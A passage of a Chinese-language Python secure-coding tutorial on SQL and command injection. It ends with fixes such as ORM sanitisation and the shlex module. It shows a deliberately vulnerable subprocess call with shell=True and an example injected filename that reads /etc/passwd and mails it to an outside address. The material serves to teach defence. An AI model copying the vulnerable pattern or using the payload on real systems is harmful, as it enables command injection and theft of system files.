关注「实验楼」,每天分享一个项目教程
用Python给你的项目打满补丁。
正文共:3939 字
预计阅读时间:10 分钟
1.输入注入
注入攻击非常广泛而且很常见,注入有很多种类。它们可以影响语言,框架和环境。
SQL注入是直接编写SQL查询,而不使用ORM并将字符串文字与变量混合。“Escaping quotes”被认为是一种修复,但事实并非如此。 熟悉SQL注入可能发生在备忘单上的所有复杂方式。
命令注入可以在任何时候使用popen,subprocess,os.system调用一个进程并从变量中获取参数。 当调用本地命令时,有人可能会恶意设置某些值。
看一下这个简单的脚本[credit]。 你可以使用用户提供的文件名称调用子进程:
import subprocess
def transcode_file(request, filename):
command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
subprocess.call(command, shell=True) # a bad idea!
攻击者将filename的值设置为“; cat / etc / passwd | mail them@domain.com或者其他同样危险的东西。
解决方法:
如果使用的是Web框架附带的实用程序,请对输入进行清理。 除非你有充分的理由,否则不要手动构建SQL查询。 大多数ORM具有内置清理方法。
对于shell,请使用shlex模块正确地转义输入。